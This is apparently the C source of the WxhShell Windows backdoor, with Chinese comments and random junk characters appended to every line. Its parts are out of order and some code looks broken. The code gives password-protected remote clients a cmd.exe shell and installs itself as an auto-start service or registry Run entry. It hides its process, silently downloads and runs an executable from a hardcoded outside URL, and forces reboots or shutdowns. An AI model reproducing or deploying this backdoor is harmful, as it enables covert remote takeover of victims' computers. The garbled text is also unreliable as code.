    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J:Qp(s-N^:  
    if(Boot(SHUTDOWN)) 2T|L# #C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }tJ:-!*2  
    else { "w A8J%:  
    closesocket(wsh); sn *s7v:  
    ExitThread(0); G%6wk=IH  
    } !#X^nlc  
    break; Na`qAj}  
    } f{+8]VA  
  // 获取shell lE`ScYG  
  case 's': { x:@e ID  
    CmdShell(wsh); [oYe/<3  
    closesocket(wsh); `S.;&%B\  
    ExitThread(0); 'LX=yL]I  
    break; kg-%:;y.  
  } SC!IQ80H#D  
  // 退出 3Fr}8Dy  
  case 'x': { [Y:HVr,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @Xh 4ZMyEx  
    CloseIt(wsh); {1qEN_ERx  
    break; S#""((U$  
    } B(>_.x#kv  
  // 离开 !Q?4sAB  
  case 'q': { cJty4m-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tG{Vn+~/  
    closesocket(wsh); (* 2"dd  
    WSACleanup(); co*5NM^  
    exit(1); +wio:==  
    break; E dU3k'z$  
        } yn=1b:kid  
  } -Pvt+I>  
  } 5 )C~L]  
1]kk  
  // 提示信息 k20H|@g2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q`{.2yV  
} 3 C[ ;2  
  } JD>!3>S)?  
EZ=M^0=Hpf  
  return; x r=f9?%R  
} 1ri#hm0x\  
J 5\> 8I,a  
// shell模块句柄 B 51LZP  
int CmdShell(SOCKET sock) bb<Vh2b>R  
{ 8(+X0}  
STARTUPINFO si; n^A=ar.  
ZeroMemory(&si,sizeof(si)); 2ru6 bIb;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Eod2vr =Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LRmO6>y  
PROCESS_INFORMATION ProcessInfo; Obd!  
char cmdline[]="cmd"; 00Rk%QV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y_nh~&  
  return 0; j^k{~]+_^]  
} O8lOr(|l  
E6G^?k~q  
// 自身启动模式 %:/;R_  
int StartFromService(void) 6?Wsg`9  
{  aCTVY1  
typedef struct G'bp  
{ [;b9'7j'  
  DWORD ExitStatus; l==T3u r  
  DWORD PebBaseAddress; 1|%$ie  
  DWORD AffinityMask; 6$z UFIk  
  DWORD BasePriority; NT nn!k  
  ULONG UniqueProcessId;  $SDx) '!  
  ULONG InheritedFromUniqueProcessId; 8=e \^Q+  
}   PROCESS_BASIC_INFORMATION; 1n,JynJ  
JAn3  
PROCNTQSIP NtQueryInformationProcess; ;uJVY)7a  
E6US  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9f V57  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $@<\$I2s  
~jPe9  
  HANDLE             hProcess; +yTL  
  PROCESS_BASIC_INFORMATION pbi; B^OhL!*tI  
q80?C.,`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B>'\g O\2  
  if(NULL == hInst ) return 0; i ^W\YLE  
H<>x_}&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9:m+mpL=9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oi!E v_h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f&,.h"bS  
"44X'G8N  
  if (!NtQueryInformationProcess) return 0; 4f>Vg$4  
xE}q(.]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'E@D  
  if(!hProcess) return 0; Io:xG6yG  
 /f2*J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \;sUJr"$  
a7CJ~8-1K  
  CloseHandle(hProcess); r+U-l#Q  
i\3`?d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lKa}Bcd  
if(hProcess==NULL) return 0; AKHi$Bk  
Kg%_e9nj#  
HMODULE hMod; 0)nU[CY  
char procName[255]; LX3 5Lt  
unsigned long cbNeeded; A/o=a#  
Z)ObFJMG5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m=#2u4H4  
6g!t1%Kb  
  CloseHandle(hProcess); m*(8I=]q  
9\dC8  
if(strstr(procName,"services")) return 1; // 以服务启动 -Z#A}h  
}6o` in>M  
  return 0; // 注册表启动 w+JDu_9+A]  
} vb$k/8JK  
8J>s|MZ  
// 主模块 tewC *%3V  
int StartWxhshell(LPSTR lpCmdLine) X09& S4  
{ T%:}/@  
  SOCKET wsl; No h*1u*  
BOOL val=TRUE; khyV uWN  
  int port=0; Y(-+>>j_  
  struct sockaddr_in door; 9_&.G4%V  
d#A.A<p*  
  if(wscfg.ws_autoins) Install(); -()CgtSR  
X)'uTf0  
port=atoi(lpCmdLine); 5Zh /D0!|  
V a<L[8  
if(port<=0) port=wscfg.ws_port; G"C'/  
Of-l<Ks\  
  WSADATA data; sqsBGFeG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SkS vu}  
Qxt ,@<IK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uN'e~X6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y68oBUd_E  
  door.sin_family = AF_INET; l].dOso$`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \QQw1c+  
  door.sin_port = htons(port); )f,iey\-  
j]YS(Y@AY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^ @sg{_.~l  
closesocket(wsl); "*<9)vQ6|  
return 1; va| 1N/&  
} cbNrto9  
IL&Mf9m  
  if(listen(wsl,2) == INVALID_SOCKET) { M"1}"ex#  
closesocket(wsl); y&UcTE2;%(  
return 1; K&\xbT  
} RlC|xj"l%  
  Wxhshell(wsl); M2{{B ^*$6  
  WSACleanup(); l jQru ^(u  
oBpHmMzA  
return 0; 5v6*.e'p  
3Oy?_a$  
} B&VruOP0  
}f/ 1  
// 以NT服务方式启动 3* 1cCM42  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;3'ta!.c  
{ 4v_<<l  
DWORD   status = 0; w9G (^jS6  
  DWORD   specificError = 0xfffffff; 7'LKyy !"3  
!#Ub*qY1Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [RoOc)u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xk7 MMRb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (p>?0h9[  
  serviceStatus.dwWin32ExitCode     = 0; hxZ5EKBy  
  serviceStatus.dwServiceSpecificExitCode = 0; !:]CKbG  
  serviceStatus.dwCheckPoint       = 0; '1'De^%6W  
  serviceStatus.dwWaitHint       = 0; F>RL&i  
Lyo!}T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _3~/Z{z8  
  if (hServiceStatusHandle==0) return; M#Kke9%2  
GJS3O;2*  
status = GetLastError(); xq$(=WPI  
  if (status!=NO_ERROR) ZRHK?wg'#  
{ >}? jOB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2@~.FBby7@  
    serviceStatus.dwCheckPoint       = 0; PDQEI55  
    serviceStatus.dwWaitHint       = 0; [J{\Ke0<e1  
    serviceStatus.dwWin32ExitCode     = status; _@2}zT  
    serviceStatus.dwServiceSpecificExitCode = specificError; ( f]@lNmx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >-oB%T  
    return; MD|T4PPz,}  
  } lDsT?yHS`Z  
B! +rO~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OEi u,Y|@l  
  serviceStatus.dwCheckPoint       = 0; X(Z~oGyg  
  serviceStatus.dwWaitHint       = 0; 4|U$ON?x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3']a1\sy^  
} UlP2VKM1&  
R5Pk>-KF  
// 处理NT服务事件,比如:启动、停止 p>oC.[:4a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QQI,$HId  
{ NTWy1  
switch(fdwControl) +}VaQ8ti4  
{ u}r>?/V!  
case SERVICE_CONTROL_STOP: tq$L* ++O  
  serviceStatus.dwWin32ExitCode = 0; JkShtLEr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DplS\}='s  
  serviceStatus.dwCheckPoint   = 0; VdL*"i  
  serviceStatus.dwWaitHint     = 0; f`<elWgc"  
  { C]EkVcKFA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z`}z7e'>  
  } ^ YOC HXg  
  return; b1TIVK3m  
case SERVICE_CONTROL_PAUSE: 22OfbwCb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y5{KtW  
  break; y#T.w0*  
case SERVICE_CONTROL_CONTINUE: ObPXVqG"?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ' kOkwGf!  
  break;  \OJam<hZ  
case SERVICE_CONTROL_INTERROGATE: `- HI)-A97  
  break; 6o0}7T%6  
}; ;A6%YY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 38GkV.e}$  
} LD*XNcE  
l|81_BC"  
// 标准应用程序主函数 a,|Hn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) de/oK c  
{ bey:Qj??  
B[ .$<$}G  
// 获取操作系统版本 $d-$dM?R5  
OsIsNt=GetOsVer(); ;Rlf[](iL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %9 3R/bx  
1Q_Q-Z  
  // 从命令行安装 (#?O3z1@"  
  if(strpbrk(lpCmdLine,"iI")) Install(); S zNZY&8 f  
Z9G4in8  
  // 下载执行文件 C$0rl74Wi  
if(wscfg.ws_downexe) { RNF%i~nhO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q`'m:{8  
  WinExec(wscfg.ws_filenam,SW_HIDE); =8v NOvA  
} p/yz`m T'w  
CNe(]HIOH  
if(!OsIsNt) { GorEHlvVh  
// 如果时win9x,隐藏进程并且设置为注册表启动 H_ a##z  
HideProc(); ~:L5Ar<  
StartWxhshell(lpCmdLine); TMGYNb%<bX  
} ?)ct@,Ek$  
else 7}I';>QH  
  if(StartFromService()) &pf"35ll  
  // 以服务方式启动 PR/>E60H  
  StartServiceCtrlDispatcher(DispatchTable); q*Oj5;  
else M]|]b-#  
  // 普通方式启动 2 OV$M~  
  StartWxhshell(lpCmdLine); \2!.  
rK3KxG  
return 0; =), O;M  
} >z~_s6#CP  
QLU <%w:B  
ub!l Hl  
,Ne9x\F  
=========================================== y #C9@C  
A;5_/ 2  
9B![l=Gh  
M,W-,l ]  
BL~#-Mm<|l  
7O8 @T-f+2  
" '4 It>50b  
+1I 7K|M  
#include <stdio.h> \03<dUA6  
#include <string.h> giH#t< )W  
#include <windows.h> w2!:>8o:  
#include <winsock2.h> #eN2{G=4+  
#include <winsvc.h> AOkG.u-k  
#include <urlmon.h> j D*<M/4  
!Pz#czo  
#pragma comment (lib, "Ws2_32.lib") :{^~&jgL  
#pragma comment (lib, "urlmon.lib") O8A(OfX  
8KN 3|)  
#define MAX_USER   100 // 最大客户端连接数 vz#-uw,O:  
#define BUF_SOCK   200 // sock buffer BW6Ox=sr<  
#define KEY_BUFF   255 // 输入 buffer S>b 3_D  
x4PzP  
#define REBOOT     0   // 重启 r`"T{o\e   
#define SHUTDOWN   1   // 关机 .#Nf0  
N@O e[X8  
#define DEF_PORT   5000 // 监听端口 CJh,-w{wJ"  
}ng?Ar[  
#define REG_LEN     16   // 注册表键长度 WUjRnzVM  
#define SVC_LEN     80   // NT服务名长度 l.]wBH#RS  
3UmkFK<  
// 从dll定义API ~\2%h lA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D"-Wo}"8O'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +}1zw<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mA$86 X_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6]Q#4  
5073Q~  
// wxhshell配置信息 SUIJ{!F/  
struct WSCFG { livKiX`  
  int ws_port;         // 监听端口 R2?s NlF  
  char ws_passstr[REG_LEN]; // 口令 ,C"6@/:l  
  int ws_autoins;       // 安装标记, 1=yes 0=no u{va2n/  
  char ws_regname[REG_LEN]; // 注册表键名 'K02T:\iZ  
  char ws_svcname[REG_LEN]; // 服务名 9_d# F'#F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K!qOO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +c!HXX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %o4v} mzV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F!g1.49""  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x7<NaMK\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k!z<=WA  
T@{ab1KV  
}; R&6@*Nn  
YmFg#eS  
// default Wxhshell configuration 4h_YVG]ur  
struct WSCFG wscfg={DEF_PORT, F .Zk};lb  
    "xuhuanlingzhe", n*ShYsc  
    1, `p9N| V  
    "Wxhshell", DBsoa0w  
    "Wxhshell", B|"/bQ  
            "WxhShell Service", "adic?5  
    "Wrsky Windows CmdShell Service", gm,AH85  
    "Please Input Your Password: ", !4D?X\~"%  
  1, mD.6cV  
  "http://www.wrsky.com/wxhshell.exe", 52j3[in  
  "Wxhshell.exe" W|Sab$h  
    }; P*?|E@;s`  
6;:D!},'c  
// 消息定义模块 l1lYb;C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `Mt|+iT$p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YLTg(*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D iOd!8Y  
char *msg_ws_ext="\n\rExit."; Q:Pp'[ RK  
char *msg_ws_end="\n\rQuit."; jQ'g'c!  
char *msg_ws_boot="\n\rReboot..."; Q|{b8K  
char *msg_ws_poff="\n\rShutdown..."; o+x! (  
char *msg_ws_down="\n\rSave to "; J ;z`bk^  
k7rg:P  
char *msg_ws_err="\n\rErr!"; lEwQj[ k  
char *msg_ws_ok="\n\rOK!"; E9I08AODS  
[pp|*@1T  
char ExeFile[MAX_PATH]; 4v _Hh<%  
int nUser = 0; ;SjNZi)4d  
HANDLE handles[MAX_USER]; P2f^]z  
int OsIsNt; N9#xTX  
QN$s %&O  
SERVICE_STATUS       serviceStatus; c%hXj#;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @$^4Av-  
)P b$  
// 函数声明 <F&XT@  
int Install(void); a}f /<-L  
int Uninstall(void); j7Y7&x"  
int DownloadFile(char *sURL, SOCKET wsh); \/j,  
int Boot(int flag); ,q#SAZ/N  
void HideProc(void); WHv6E!^\_  
int GetOsVer(void); QgYt(/S  
int Wxhshell(SOCKET wsl); /D;ugc*3  
void TalkWithClient(void *cs); SE'|||B  
int CmdShell(SOCKET sock); .On qj^v  
int StartFromService(void); :w5g!G?z  
int StartWxhshell(LPSTR lpCmdLine); v9r.w-  
`W@jo~ y<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;qUB[Kw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D=3Z] 'A  
fgj$ u  
// 数据结构和表定义 # }}6JM  
SERVICE_TABLE_ENTRY DispatchTable[] = O%>*=h`P  
{ Zazs".  
{wscfg.ws_svcname, NTServiceMain}, sUc[!S:/  
{NULL, NULL} nt()UC`5  
}; =8`KGeP$  
/*BU5  
// 自我安装 x`C"Z7t  
int Install(void) Z]2z*XD  
{ `S? _=JIX  
  char svExeFile[MAX_PATH]; ^j pQfDe6  
  HKEY key; w&es N$2  
  strcpy(svExeFile,ExeFile); E;4dlL`*  
OaoHN& "  
// 如果是win9x系统,修改注册表设为自启动 V^n=@CZT9C  
if(!OsIsNt) { 4~oRcO8!Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4XiQ8"C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MZX@Gi<S[  
  RegCloseKey(key); y9@j-m&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <pG 4 g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2p 7;v7)y  
  RegCloseKey(key); "5N$u(: b  
  return 0; bh\2&]Di/  
    } wXdt\@Qr  
  } :]8A;`G}  
} } 21!b :a  
else { vs$. i  
u~'_Uqp  
// 如果是NT以上系统,安装为系统服务 Lew 2Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,*x/L?.Z!  
if (schSCManager!=0) O\]{6+$fm!  
{ |vG?H#y  
  SC_HANDLE schService = CreateService _|MK0'+f  
  ( 3a U4Z|f~  
  schSCManager, hQ L@q7tUr  
  wscfg.ws_svcname, mB bGj3u;  
  wscfg.ws_svcdisp, C4d CaiX  
  SERVICE_ALL_ACCESS, 4/S3hH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9&B #@cw  
  SERVICE_AUTO_START, 6 Rg>h  
  SERVICE_ERROR_NORMAL, Lke!VS!P&  
  svExeFile, @K#}nKN'  
  NULL, JV !F<  
  NULL, l[WX77bp=  
  NULL, (X2[}K  
  NULL, D7B g!*  
  NULL H2+Ijn19E  
  ); n{m[ j+UG  
  if (schService!=0) &t6SI'  
  { ,K&L/*  
  CloseServiceHandle(schService); Z{F^qwne  
  CloseServiceHandle(schSCManager); 2G:KaQ)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (J(SwL|  
  strcat(svExeFile,wscfg.ws_svcname); Yfz`or\@=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {e[~1]j3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9r8bSV3`  
  RegCloseKey(key); dg(sRTi{  
  return 0; tjne[p  
    } f{(D+7e}  
  } \x8'K  
  CloseServiceHandle(schSCManager); V4,\vgGu  
} cy2K#  
} bK!uR&i^l  
8ux  
return 1; d=g,s[FMm  
} ehMpo BL  
{k'$uW `  
// 自我卸载 QbWeQ[V{  
int Uninstall(void) UH5A;SrTqR  
{ PL3oV<\4s>  
  HKEY key; pWoeF=+y]W  
+' .o  
if(!OsIsNt) { 2aUE<@RU[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9A\\2Zz6F  
  RegDeleteValue(key,wscfg.ws_regname); iVM% ]\  
  RegCloseKey(key);  O&dh<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *44E'Dxv  
  RegDeleteValue(key,wscfg.ws_regname); ,!^;<UR:  
  RegCloseKey(key); v/Xz.?a\jF  
  return 0; 3#`Sk`z<  
  } 4%SA%]a L1  
} Z/e[$xT <  
} _+0c<'  
else { a{kLAx[>  
LdX'V]ITh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tRTJQ  
if (schSCManager!=0) FaG&U  
{ G8b`>@rZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W)odaab7  
  if (schService!=0) yV) 9KGV+:  
  { :*tFW~<*b  
  if(DeleteService(schService)!=0) { ,e*WJh8k[  
  CloseServiceHandle(schService); _xo;[rEw8  
  CloseServiceHandle(schSCManager); 8;(3fSNC  
  return 0; a#/~rNRY  
  } 0(^ N  
  CloseServiceHandle(schService); {_jbFJ  
  } mk3,ke8  
  CloseServiceHandle(schSCManager); ebf/cC h  
} p2wDk^$  
} QM=Y}   
.JWN\\  
return 1; {jEEAH)  
} 6dqI{T-i?  
/t _QA  
// 从指定url下载文件 zm=|#f  
int DownloadFile(char *sURL, SOCKET wsh) 'RIx}vPf  
{ wG&rkg";#  
  HRESULT hr; SA,+oq(  
char seps[]= "/"; kSjvY&n%  
char *token; F@-8J?Hl:  
char *file; *#o2b-[V  
char myURL[MAX_PATH]; ?; tz  
char myFILE[MAX_PATH]; tAS[T9B  
sbq:8P#  
strcpy(myURL,sURL); G~zP&9N|  
  token=strtok(myURL,seps); PED5>90  
  while(token!=NULL) Xcci)",!  
  { 3 E!F8GZ  
    file=token; hJ*#t<.<P;  
  token=strtok(NULL,seps); d+IN-lR(  
  } b'(Hwc\ t  
R"O,2+@<.  
GetCurrentDirectory(MAX_PATH,myFILE); +-MieiKv  
strcat(myFILE, "\\"); VJ-To}  
strcat(myFILE, file); 6=jL2cqx  
  send(wsh,myFILE,strlen(myFILE),0); wl%I(Cw{]  
send(wsh,"...",3,0); s'k} .}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U{8x.CJ]  
  if(hr==S_OK) L=kETJ:g  
return 0; E{IY7Xz^>  
else K5(:0Q.5y  
return 1; '],G!U(  
lQ?_1H~4=  
} }ykc AK3U  
_/h<4G6A  
// 系统电源模块 fOz.kK[]  
int Boot(int flag) sO8F0@%aH(  
{ Ca#T?HL  
  HANDLE hToken; _*u$U  
  TOKEN_PRIVILEGES tkp; \-{2E  
)W!\D/C+  
  if(OsIsNt) { x{,W<oXg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G$6mtw6[M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); He  LW*  
    tkp.PrivilegeCount = 1; nF=[m; ~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \kC'y9k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2:&QBwr+;  
if(flag==REBOOT) { E&> 2=$~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~R~MC(5N[  
  return 0; [ lE^0_+  
} QTjnXg?Ri  
else { (4FZK7Fm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ft?Y c 5  
  return 0; ,o [FUi(#@  
} ^AR kjYt  
  } _ IlRZ}f  
  else { OZ2faf  
if(flag==REBOOT) { 6Q}>=R^h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]t_ Wl1*|  
  return 0; vW5>{  
} hj=k[t|g}  
else { ZKVM9ofXRi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (FSa>  
  return 0; !1`f84d  
} P&AaD!Qn  
} WM GiV  
mJME1#j$/|  
return 1; 5$/Me=g<  
} )wk9(|[o  
hGo/Ve+@  
// win9x进程隐藏模块 SQDc%I>b  
void HideProc(void) ,sltB3f  
{ P$"s*otr  
&IkHP/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .Iv`B:4  
  if ( hKernel != NULL ) $QaEU="Z  
  { `k3sl 0z%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oX?~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gg$:U  
    FreeLibrary(hKernel); kDc/]Zb%  
  } \;!g@?CA  
J|e3 UikA  
return; fILD~  
} +A2}@k   
/cx Ei6I-  
// 获取操作系统版本 |O[ I=!  
int GetOsVer(void) 0t)5KO  
{ j]6YLM@5$  
  OSVERSIONINFO winfo; p I@!2c:}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &}FWpo!  
  GetVersionEx(&winfo); W(PNw2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @gm!D`YL  
  return 1; pwo @ S"  
  else  T_<:  
  return 0; 2.&%mSN  
} *r iWrG  
hu:x,;`9H  
// 客户端句柄模块 FUZ`ST+OL  
int Wxhshell(SOCKET wsl) aY\(R02B  
{ ] {=qdgJ  
  SOCKET wsh; kS)|oU K  
  struct sockaddr_in client; rnXoA, c/  
  DWORD myID; -nnAe F  
g>_d,#F  
  while(nUser<MAX_USER) x24&mWgU  
{ cfPQcB>A  
  int nSize=sizeof(client); C.+:FY.H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mWH;-F*%  
  if(wsh==INVALID_SOCKET) return 1; *NQsD C.J^  
/(Ryh6M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @0iXqM#jH  
if(handles[nUser]==0) u(4o#m  
  closesocket(wsh); V#V<Kz  
else c~ Q 5A  
  nUser++; I3dUI~}u  
  } ='fN xabB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1|5TuljTd  
N0UZ%,h\  
  return 0; +}NQ |y V  
} zO3}c3D~q  
"Fqrk>Q~  
// 关闭 socket M/jdMfU  
void CloseIt(SOCKET wsh) 42wZy|oqp  
{ H2E'i\  
closesocket(wsh); nLnzl  
nUser--; kl#) 0yqN0  
ExitThread(0); oN Rp  
} &p.7SPQ8/  
{-L}YX"Bh  
// 客户端请求句柄 ~0 Mw\p%}  
void TalkWithClient(void *cs) _&PF(/w  
{ _cQhT  
BXLw  
  SOCKET wsh=(SOCKET)cs; kj'  
  char pwd[SVC_LEN]; iayxN5,  
  char cmd[KEY_BUFF]; }K9Ji]tOK:  
char chr[1]; 7OLchf  
int i,j; 8V+  
':|?M B  
  while (nUser < MAX_USER) { #v:A-u  
N~9zQ  
if(wscfg.ws_passstr) { %QX"oRMn0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?^{Ey[)'(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); | @p  
  //ZeroMemory(pwd,KEY_BUFF); pe-%`1iC0>  
      i=0; Xh`Oin}<  
  while(i<SVC_LEN) { :A`jRe.  
=}[m_rp&  
  // 设置超时 wO"ezQ  
  fd_set FdRead; =+VI{~.|}  
  struct timeval TimeOut; &_$xMM,X  
  FD_ZERO(&FdRead); D?r% Y  
  FD_SET(wsh,&FdRead); $TavvO%#  
  TimeOut.tv_sec=8; 'o-J)+oa  
  TimeOut.tv_usec=0; UUxP4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,~7+r#q7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .KF(_ 92  
'z">4{5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "I JcKoB  
  pwd=chr[0]; "S3U]zw0_  
  if(chr[0]==0xd || chr[0]==0xa) { Xb7G!Hk#g  
  pwd=0; KZwzQ"Hl  
  break; A]m_&A#  
  } kk+:y{0V  
  i++; ph@2[rUp  
    } 5z 9'~Gfb  
$kn"S>jV  
  // 如果是非法用户,关闭 socket l6HT}x7OiH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bk4G+wGw  
} ~)]n67Or~  
H]>7IhJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;Yn_*M/*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P !~B07y  
jQ5FvuNOy  
while(1) { r%^XOw<'  
l ?gh7m_ej  
  ZeroMemory(cmd,KEY_BUFF); t++\&!F  
[ jgC`  
      // 自动支持客户端 telnet标准   v QDkZ  
  j=0; u 9%AK g}~  
  while(j<KEY_BUFF) { &Ef6'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |~YhN'OJ  
  cmd[j]=chr[0]; 6G>bZ+  
  if(chr[0]==0xa || chr[0]==0xd) { |sV@j_TX  
  cmd[j]=0; juBzpQYj  
  break; vz'<i. Yv4  
  } L'}^Av_+  
  j++; mW @Z1Plxs  
    } rcG-V f@  
[300F=R  
  // 下载文件 9XW[NY#)#  
  if(strstr(cmd,"http://")) { fFd"21 >  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f'B#h;`  
  if(DownloadFile(cmd,wsh)) K yp(dp>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {;?bC'  
  else v{TISgZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o@:u:n+.  
  } r;OE6}L>  
